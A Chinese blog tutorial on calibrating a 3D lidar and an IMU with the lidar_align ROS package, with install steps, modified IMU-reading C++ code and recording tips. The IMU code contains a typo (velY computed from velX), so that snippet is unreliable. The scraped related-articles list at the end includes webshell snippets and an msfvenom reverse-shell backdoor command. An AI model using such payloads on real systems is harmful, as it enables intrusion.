ubuntu16.04 lidar_align实现三维激光雷达和Imu联合标定

article/2025/9/30 21:43:31

实现环境:

  • 系统环境: Ubuntu16.04
  • 激光雷达: velodyne16线
  • imu品牌 :  xsens

一 简介

lidar-imu标定方法为瑞士苏黎世理工大学-自动驾驶实验室开源的一种校准 3D 激光雷达和 6 自由度位姿传感器外参的方法。该方法需要大量非平面的运动,因此不适合校准安装在汽车上的传感器标定。

lidar_align工程代码实现了以下功能:
1、读取lidar和位姿传感器的数据
2、通过时间戳匹配lidar每帧里面的每个点和位姿传感器的坐标变换
2、通过上面的变换矩阵将利用位姿信息将lidar的每帧拼接成点云
3、每个点和它最近邻点的距离总和求出,在优化中就是不断的迭代找到坐标变换使这个距离最小

算法的整体思想:
1、为每帧lidar的每个点通过时间戳去匹配一个位姿数据,并通过插值的方式得到更准确的位姿值,每个点的时间偏移也是优化因素之一
2、利用NLopt的库的非线性优化方法
3、目标函数:让拼接后的点云的每个点的最近邻点最小
4、优化向量:x、y 、z、roll、pitch、yaw、time_offset
总体来说就是不断的迭代,找到一个合适的优化向量(也就是lidar到里程计的坐标变换)使得拼在一起的点云每个点的最近邻点距离最小。

可以离线计算,录一个rosbag,然后跑一下就可以求的外参,它只会读取一个bag ,所以 lidar和位姿都要在里面。

二 环境安装

(1)安装依赖

sudo apt-get install libnlopt-dev

(2)编译

mkdir -p lidar_align_ws/src
cd lidar_align_ws/src
git clone https://github.com/ethz-asl/lidar_align
cd ..
catkin_make

若报错:

解决办法:
将 lidar_align 文件夹下的 NLOPTConfig.cmake 复制到 ROS工作空间lidar_align_ws/src路径下面,再次编译

编译完成:

(3)改写imu接口

这一工具原本不是用来标定激光雷达和IMU的而是用来标定激光雷达和里程计的。所以需要改写IMU接口来替换掉里程计接口。所以这一工具一定程度上并不是精确标定上述两种传感器的,但不精确不代表不可用。

找到以下odom部分注释删掉都可
/*  types.push_back(std::string("geometry_msgs/TransformStamped"));rosbag::View view(bag, rosbag::TypeQuery(types));size_t tform_num = 0;for (const rosbag::MessageInstance& m : view) {std::cout << " Loading transform: \e[1m" << tform_num++<< "\e[0m from ros bag" << '\r' << std::flush;geometry_msgs::TransformStamped transform_msg =*(m.instantiate<geometry_msgs::TransformStamped>());Timestamp stamp = transform_msg.header.stamp.sec * 1000000ll +transform_msg.header.stamp.nsec / 1000ll;Transform T(Transform::Translation(transform_msg.transform.translation.x,transform_msg.transform.translation.y,transform_msg.transform.translation.z),Transform::Rotation(transform_msg.transform.rotation.w,transform_msg.transform.rotation.x,transform_msg.transform.rotation.y,transform_msg.transform.rotation.z));odom->addTransformData(stamp, T);}
*/将以上部分替换为:types.push_back(std::string("sensor_msgs/Imu"));rosbag::View view(bag, rosbag::TypeQuery(types));size_t imu_num = 0;double shiftX=0,shiftY=0,shiftZ=0,velX=0,velY=0,velZ=0;ros::Time time;double timeDiff,lastShiftX,lastShiftY,lastShiftZ;for (const rosbag::MessageInstance& m : view){std::cout <<"Loading imu: \e[1m"<< imu_num++<<"\e[0m from ros bag"<<'\r'<< std::flush;sensor_msgs::Imu imu=*(m.instantiate<sensor_msgs::Imu>());Timestamp stamp = imu.header.stamp.sec * 1000000ll +imu.header.stamp.nsec / 1000ll;if(imu_num==1){time=imu.header.stamp;Transform T(Transform::Translation(0,0,0),Transform::Rotation(1,0,0,0));odom->addTransformData(stamp, T);}else{timeDiff=(imu.header.stamp-time).toSec();time=imu.header.stamp;velX=velX+imu.linear_acceleration.x*timeDiff;velY=velX+imu.linear_acceleration.y*timeDiff;velZ=velZ+(imu.linear_acceleration.z-9.801)*timeDiff;lastShiftX=shiftX;lastShiftY=shiftY;lastShiftZ=shiftZ;shiftX=lastShiftX+velX*timeDiff+imu.linear_acceleration.x*timeDiff*timeDiff/2;shiftY=lastShiftY+velY*timeDiff+imu.linear_acceleration.y*timeDiff*timeDiff/2;shiftZ=lastShiftZ+velZ*timeDiff+(imu.linear_acceleration.z-9.801)*timeDiff*timeDiff/2;Transform T(Transform::Translation(shiftX,shiftY,shiftZ),Transform::Rotation(imu.orientation.w,imu.orientation.x,imu.orientation.y,imu.orientation.z));odom->addTransformData(stamp, T);}}并在开头添加头文件:#include <sensor_msgs/Imu.h>

修改完成之后再次catkin_make 编译一次即可。

三 录制数据

联合标定需要录制的bag包中包含激光数据和imu的数据,因此首先需要固定好激光雷达和imu。将二者的相对位置固定好,然后在录制bag包。

需要注意的是,标定的效果是很影响建图效果的。因此标定需要严谨小心。

较错误的方式:手持固定好的设备,在室外环境录制2分钟左右的数据包,移动过程中夹杂原地转圈。这种数据包标定出来的误差有14000-16500不等。这个还是比较大了,我看有的标定让误差降到几百的都有。然后取经学习了下。

较正确的方式:以移动平台为介质,承载固定好的设备。然后在层次分明的室内环境,特征较多,尽量避免环境中有移动物体(也需要考虑自己)来进行录制。遥控移动平台完成移动和转圈的操作。然后尝试了一下,误差直接降到2000以内,效果明显。可以多以该模式录制几次,以便找到最优的方法。

(1)修改launch文件

打开lidar_align.launch文件,将两分钟的数据包路经copy到第4行的位置:

改写了接口以后就不用以表格形式导入数据了,直接播放在launch文件里面修改你的数据包的路径即可,下面是一些过程展示,标定时间可能较长,一个小时多点吧。

(2)开始标定

source devel/setup.bash 
roslaunch lidar_align lidar_align.launch

 标定完以后:

结果会保存到lidar_align/results文件下: 

 

 

 至此,联合标定就结束了

参考文献:

LIO-SAM运行自己数据包遇到的问题解决--SLAM不学无数术小问题_^摆渡人^的博客-CSDN博客

lidar-imu calibration---lidar_align+运行liosam算法测试标定效果_陆枫先森的博客-CSDN博客

激光雷达和IMU联合标定并运行LIOSAM_cyx610481953的博客-CSDN博客_liosam


http://chatgpt.dhexx.cn/article/IQd0Ykk0.shtml

相关文章

【ouster】ubuntun18.04安装ouster三维激光雷达ros版本驱动

1、下载驱动文件 需先创建一个ros工作区间&#xff0c;如何将代码下载至src文件夹 mkdir catkin_ws_ouster/srccd catkin_ws_ouster/srccatkin_init_workspacecd ..source devel/setup.shsudo gedit ~/.bashrc#将下列代码添加至打开的文件source ~/catkin_ws_ouster/devel/set…

激光雷达--C16镭神16线三维激光雷达使用

一、基础知识介绍 1、点云数据一边采集一边重构&#xff0c;对处理器的硬件资源消耗特别大&#xff0c;所以用电脑作为处理器时&#xff0c;电脑的配置要高&#xff0c;具体需要什么杨的配置&#xff0c;下面会有数据介绍。 2、虽然激光雷达采集的数据和摄像头采集的数据没法…

基于曲率的体素聚类的三维激光雷达点云实时鲁棒分割方法

点云PCL免费知识星球&#xff0c;点云论文速读。 文章&#xff1a;Curved-Voxel Clustering for Accurate Segmentation of 3D LiDAR Point Clouds with Real-Time Performance 作者&#xff1a;Seungcheol Park, Shuyu Wang, Hunjung Lim, and U Kang 编译&#xff1a;点云PCL…

从零开始的三维激光雷达SLAM教程第一讲(搭建运行环境,并跑Kitti数据集)

文章目录 引言第一节&#xff1a;运行xx-LOAM与数据集编译A-LOAM安装ceres&#xff08;最小二乘求解库&#xff09;安装pcl&#xff08;最常见的点云处理库&#xff09;安装OPENCVcatkin_make 制作Kitti数据集运行A-LOAM建图LOAM安装Lego-LOAM安装gtsam安装 结果 引言 毕业设计…

三维激光雷达点云处理分类

三维激光雷达点云处理分类TOC 目录 激光雷达点云的研究激光雷达数据的处理方法分类体素转化为图像直接对点云操作 三种方式的优劣 激光雷达点云的研究 目前&#xff0c;学术界和业界对于激光雷达点云的处理方式的研究变的非常热门。我认为原因有二&#xff1a; 来自学术界的推力…

三维激光雷达点云拼接

写在前面 这是一篇于2017.4.19完成的实验报告&#xff0c;现整理成博客&#xff0c;当时处于摸索阶段&#xff0c;水平有限&#xff0c;后来也未对点云处理进行深入的研究&#xff0c;在此只是记录一下。 主要参考资料为CloudCompare wiki document。 对三维点云的处理&…

基于二维激光雷达的三维激光扫描系统的设计与实现

CSDN话题挑战赛第2期 参赛话题&#xff1a;学习笔记 学习之路&#xff0c;长路漫漫&#xff0c;写学习笔记的过程就是把知识讲给自己听的过程。这个过程中&#xff0c;我们去记录思考的过程&#xff0c;便于日后复习&#xff0c;梳理自己的思路。学习之乐&#xff0c;独乐乐&a…

激光雷达三维检测包含哪些内容?

点击上方“小白学视觉”&#xff0c;选择加"星标"或“置顶” 重磅干货&#xff0c;第一时间送达 文章导读 本文是针对一篇激光雷达三维目标检测的综述性文章的解读分析《Deep 3D Object Detection Networks Using LiDAR Data A Review》&#xff0c;从激光雷达的基础…

从零开始的三维激光雷达SLAM教程第二讲(搭建Gazebo仿真环境,并添加动态障碍物)

文章目录 引言第二节&#xff1a;搭建仿真环境下载velodyne激光模拟功能包安装turtlebot3模拟器安装三维激光雷达到turtlebot3上构建Gazebo地图添加动态障碍物操作机器人建图最终效果 引言 毕业设计打算做三维激光SLAM&#xff0c;记录一些学习历程&#xff0c;也给后面人一点…

Cknife与一句话木马提权

Cknife:一个管理网站的工具&#xff0c;支持动态脚本的网站的管理&#xff0c;用来连接一句话木马 一句话木马:一句恶意代码&#xff0c;可以是某种脚本语言&#xff0c;用来与客户端建立联系 通过中国菜刀连接一句话木马达到拿下网站webshell

Cknife的安装

下载菜刀&#xff0c;打开Cknife.jar软件 注意&#xff1a;这里的菜刀文件存放的目录不要带有中文 打开 没错&#xff0c;这是我们熟悉的pikachu 但是这个网站的上传漏洞我还没学&#xff0c;所以暂时没法操作&#xff08;等发了上传漏洞的视频我就来改&#xff09; 基本思路…

cknife连接失败

这是什么原因啊

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式&#xff1a; 1、打开项目&#xff0c;打开FIile->Project Structure...菜单.如下图&#xff1a; 选中Artifacts,点号&#xff0c;选择JAR,再选择From modules with dependencies...&#xff0c;如下图&#xff1a; 在打开的界面中…

dvwa 切换php版本以及phpstorm -xdebug的配置使用

最近由于需要对dvwa 进行一些更改&#xff0c;对php啥也不懂的我&#xff0c;开始研究一下php开发环境&#xff0c;以及具体的搭建过程&#xff1b; 首先是需要下载安装破解phpstorm&#xff08;不多说了&#xff0c;下载官网地址&#xff0c;破解网上一堆文章&#xff09; 1…

上传漏洞-一句话木马

声明&#xff1a;为什么又写一篇关于一句话木马&#xff0c;对&#xff0c;我第一次没写明白&#xff0c;直写了一句话木马的简单制作&#xff0c;但是还是有很多同学真的看不懂&#xff0c;所以我今天改一下&#xff0c;这次精写&#xff01; 上传漏洞-一句话木马 讲述内容&…

[对抗训练]“中国菜刀”安装,20180222

[对抗训练]“中国菜刀”安装与使用 一、下载开源代码 从GitHub上下载开源的“中国菜刀”Java项目代码 地址&#xff1a;https://github.com/Chora10/Cknife压缩文件见附件1。 二、将项目存为可执行jar 打开eclipse&#xff08;或其他java编辑器&#xff09; 添加解压后的“中国…

我的java16和java8冲突解决办法(java版本冲突解决方法)

我的java16和java8冲突解决办 我的问题 vscode 支持java11以上burpsuite 支持java11以上cknife 只能java8JEB 只能java8全局变量设置java16的路径 对于java8 直接把只支持java8的文件目录放到java8中 在这里中用的是java8,这个目录有java文件 这个脚本可以自动隐藏窗口打开一…

msf上传文件到服务器,利用MSF技巧进入服务器

原标题&#xff1a;利用MSF技巧进入服务器 首先需要一台公网的机器,这是留着方便以后转发或者反弹用的. 1.生成payload的方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST1.2.3.4 LPORT2333 -f exe -o 1234.exe 之后把后门复制出来上传到webshell 推荐不使用exe后缀 因…

mbp 封神台靶场 六(笔记)

打开链接&#xff0c;根据题目提示&#xff0c;flag在c盘根目录下&#xff0c;接上一关的网页后台&#xff0c;打开c盘,发现确实存在flag.txt&#xff0c;但是提示没有权限。 于是知道本关需要我们去进行提权操作&#xff0c;打开D盘&#xff0c;发现cmd.exe和iis6.exe&#xf…

张小白的渗透之路(五)——上传漏洞及解析漏洞详解

前言 web应用程序通常会有文件上传的功能&#xff0c;例如在BBS发布图片、在个人网站发布压缩包&#xff0c;只要web应用程序允许上传文件&#xff0c;就有可能存在文件上传漏洞。 上传漏洞与sql注射相比&#xff0c;风险更大&#xff0c;如果web应用程序存在上传漏洞&#xf…